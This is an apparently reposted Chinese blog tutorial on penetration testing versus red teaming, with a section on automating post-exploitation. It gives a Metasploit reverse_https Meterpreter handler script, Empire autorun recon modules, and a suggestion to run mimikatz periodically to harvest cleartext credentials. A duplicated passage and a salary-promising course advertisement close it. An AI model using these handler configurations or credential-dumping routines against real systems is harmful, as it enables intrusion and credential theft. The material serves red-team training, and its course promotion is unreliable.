网络安全千万条，渗透测试第一条

网络安全千万条，渗透测试第一条

说起网络安全，很多人对此并不敏感，在便利的互联网之下其实有很多看不见的危险。

比如澳大利亚某州3万雇员个人信息被泄露、委内瑞拉全国停电、俄罗斯20多家大型企业被未知者勒索、美国第七大银行数据库被入侵……

这些事件都发生在2019年，互联网背后的安全隐患比想象中还要严重，对企业来说，一旦遭遇安全问题可能就是灭顶之灾。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z5LOlmo2-1677306137007)(https://p3-sign.toutiaoimg.com/pgc-image/fb13f77bfbf942f7bf4231a814aeb073~noop.image?_iz=58558&from=article.pc_detail&x-expires=1675931424&x-signature=BHKfHCpRxmStRfv6qEh%2FsMafoF0%3D)]

小到个人信息，大到国家国防，网络安全一直都是重要话题，对很多企业来说，通信网络和信息系统的安全运营是业务运营的基本保障，而渗透测试就是企业安全技术团队的核心。

异步君为大家介绍一下关于渗透测试的知识，了解一下各项安全措施是如何运作的。

01

渗透测试团队与红队

如何界定渗透测试与红队

渗透测试是对网络、应用程序和硬件等进行更严格和更有计划的测试。如果您还没有接触过渗透测试，建议您先阅读渗透测试执行标准—这是如何评估一项渗透测试的指南。

简而言之，您需要开展范围界定、信息搜集、漏洞分析、漏洞利用、漏洞后利用和报告等所有步骤。

在传统的网络测试中，我们通常会扫描漏洞，查找并攻击存在漏洞的系统或应用程序，可能会进行一些后期漏洞利用，查找域管理员并编写渗透测试报告。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Yj7m8yEy-1677306137007)(https://p3-sign.toutiaoimg.com/pgc-image/1a592b1cfa544c028ed29341f4aeef54~noop.image?_iz=58558&from=article.pc_detail&x-expires=1675931424&x-signature=2oECSgVqK2eGXzvg2jOomh0LyH0%3D)]

即使在创建测试范围期间，渗透测试也非常明确，仅限于一周或两周的评估期，并且通常会向公司的内部安全团队公布。

公司仍然需要渗透测试人员作为其安全软件开发生命周期（S-SDLC）的一部分。如今，即使公司有漏洞管理流程、安全软件开发生命周期流程、渗透测试人员、应急响应团队/流程以及许多非常昂贵的安全工具，公司的网络仍然可能被攻陷。

我们在其他安全报告中看到，一些攻击行为可能会持续超过 6 个月才能被发现。还有一些报道指出，2017 年几乎有三分之一的公司遭到攻击。

公司应该想一想，如果这些“坏小子”针对自己采用完全相同的策略，能否发现它？需要多长时间才能发现？能否从攻击事件中恢复？能否准确找出攻击者对于公司资产做了什么？

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gTZPqD6i-1677306137007)(https://p3-sign.toutiaoimg.com/pgc-image/0653e1a9495745449f7e70a40fafbda0~noop.image?_iz=58558&from=article.pc_detail&x-expires=1675931424&x-signature=AIjGxSiNnndYbCuT%2Bce0fn3TQSo%3D)]

这就是红队开始发挥作用的场景。红队的任务是模仿攻击者的战术、技术和工具（TTP）。目的是为公司提供真实的攻击场景，在应急响应计划中找到问题，了解员工的技能差距，并最终提高公司的安全防护能力。

两者另一个主要区别是如下所示的时间表。对于渗透测试，工作时间通常是一周，幸运的话，工作时间可能达到两周的时间。但是对于红队来说，任务通常持续 2 周～6 个月的时间。

公司管理者不要过于依赖审计指标。每个公司都有合理的规章制度，能够帮助公司流程更加成熟，但是这并不能使公司真正做到信息安全。作为红方团队，任务是测试整体安全流程是否有效。

希望您将自己看作红队并专注于以下几个方面。

● 安全漏洞而非 IT 漏洞。

● 模拟真实世界攻击行为。

● 始终以红队的姿态开展攻击。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0iLRExkt-1677306137008)(https://p3-sign.toutiaoimg.com/pgc-image/377791c12971430a8449a927b7ce4eda~noop.image?_iz=58558&from=article.pc_detail&x-expires=1675931424&x-signature=S0iH77CLBImD72vR2nioofecOOY%3D)]

02

自动化

随着基于启发式的终端安全防护机制越来越强大，攻击方式需要快速应变。我们通常可以编写恶意软件 规避杀毒软件的检测，即使通过了初次安全防护检测，但是一旦使用类似 mimikatz（在内存中）工具或者横向渗透到另一台主机，就会引发警报。为了解决这个问题，我总是告诉红队在首次尝试攻击时就被 发现。

在通常情况下，蓝队在发现我们的基本/默认样式（或稍微混淆）的恶意软件时，认为取得胜利， 但是首次尝试的真正目的是了解目标的环境。初始静荷自动运行多个侦察脚本，实现上述目的。我们来看一些快速自动运行的脚本，这些脚本可以帮助我们自动化一些攻击。

1、使用 RC 脚本自动化 Metasploit

使用 Metasploit，我们可以高效运行后渗透脚本，方法如下。

● 在 Metasploit 中，搜索所有后期渗透利用模块。

● msfconsole。

● show post。

从“post”结果中，选择要使用的所有模块，方便在 Meterpreter Shell 中自动执行。在这种情况下，添加特权迁移后渗透模块。

配置 Meterpreter Shell，在受感染主机的初始连接中，运行这个静荷，我们需要指定 AutoRunScript 参数。您可以根据需要，添加尽可能多的 AutoRunScript，实现转储有关系统/网络的信息、横向移动等功能。

下面创建处理程序和 AutoRunScript。

● 创建处理程序。

gedit handler.rc

● 配置处理程序，运行脚本。

use multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 10.100.100.9
set LPORT 443
set AutoRunScript
 post/windows/manage/priv_migrate
set ExitOnSession false
set EnableStageEncoding true
exploit -j

● 运行处理程序。

msfconsole -r handler.rc

2、Empire 自动化

Empire 具有与 Metasploit 资源文件类似的功能，可以自动完成许多重复性任务。首先，我们需要创建一个文件（在示例中，创建一个名为/opt/empire_autoload.rc 的文件），然后在 Empire 实例中加载它。

● 在单独的终端窗口中，创建处理程序文件。

gedit /opt/empire_autoload.rc

● 添加您需要执行的后渗透模块。

usemodule
situational_awareness/network/powerview/get_user
execute
back
usermodule
situational_awareness/network/powerview/get_computer
execute
back

● 在 Empire 中加载 autoload.rc 资源文件，如图所示。

agents
autorun /opt/empire_autoload.rc powershell
autorun show

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jUVbRLEf-1677306137009)(https://p3-sign.toutiaoimg.com/pgc-image/ef5a2b51a38147ab82073c545e9362de~noop.image?_iz=58558&from=article.pc_detail&x-expires=1675931424&x-signature=gp2WDrdVEr0KfsQw0OPlRmxaBE0%3D)]

正如您看到的，当代理回连时，它会自动运行 get_user 和 get_computer PowerShell 脚本。这些脚本的所有结果都存储在 agent.log 文件中。在这种情况下，我们的代理名称为 N6LM348G，因此，日志将存储在
/opt/Empire/downloads/N6LM348G/agent.log 中。

4、Cobalt Strike 自动化

Cobalt Strike 功能强大的主要原因之一是 Aggressor Script。使用 Cobalt Strike 的 Aggressor Script，您不仅可以配置自动运行样式脚本，而且可以创建非常复杂的攻击。

例如，我经常碰到共享工作站的情况，比如实验室或会议室。我可能希望代理程序做的一件事是每隔半小时运行 mimikatz 获取明文凭证。使用 Aggressor Script，我们可以执行这些操作以及其他更多的操作。

5、自动化的未来

主要原因之一是 Aggressor Script。使用 Cobalt Strike 的 Aggressor Script，您不仅可以配置自动运行样式脚本，而且可以创建非常复杂的攻击。

例如，我经常碰到共享工作站的情况，比如实验室或会议室。我可能希望代理程序做的一件事是每隔半小时运行 mimikatz 获取明文凭证。使用 Aggressor Script，我们可以执行这些操作以及其他更多的操作。

5、自动化的未来

有一些很值得关注的项目正朝着自动化、智能化突破和 APT 攻击的方向发展。攻击的自动化将成为未来的突破，我们需要能够有这种能力从而测试/验证安全防护机制的效果，在自动化方面具有巨大潜力的两个工具是 Portia 和 Caldera。

网络安全基础入门需要学习哪些知识？

网络安全学习路线

这是一份网络安全从零基础到进阶的学习路线大纲全览，小伙伴们记得点个收藏！

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-v19T846c-1677167179814)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]编辑

阶段一：基础入门

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sRoDZu4K-1677167179814)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]

网络安全导论

渗透测试基础

网络基础

操作系统基础

Web安全基础

数据库基础

编程基础

CTF基础

该阶段学完即可年薪15w+

阶段二：技术进阶（到了这一步你才算入门）

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-il25GFVz-1677167179815)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]

弱口令与口令爆破

XSS漏洞

CSRF漏洞

SSRF漏洞

XXE漏洞

SQL注入

任意文件操作漏洞

业务逻辑漏洞

该阶段学完年薪25w+

阶段三：高阶提升

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ITOSD3Gz-1677167179816)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]

反序列化漏洞

RCE

综合靶场实操项目

内网渗透

流量分析

日志分析

恶意代码分析

应急响应

实战训练

该阶段学完即可年薪30w+

阶段四：蓝队课程

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SKCwwld2-1677167179818)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]

蓝队基础

蓝队进阶

该部分主攻蓝队的防御，即更容易被大家理解的网络安全工程师。

攻防兼备，年薪收入可以达到40w+

阶段五：面试指南&阶段六：升级内容

需要上述路线图对应的网络安全配套视频、源码以及更多网络安全相关书籍&面试题等内容

网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！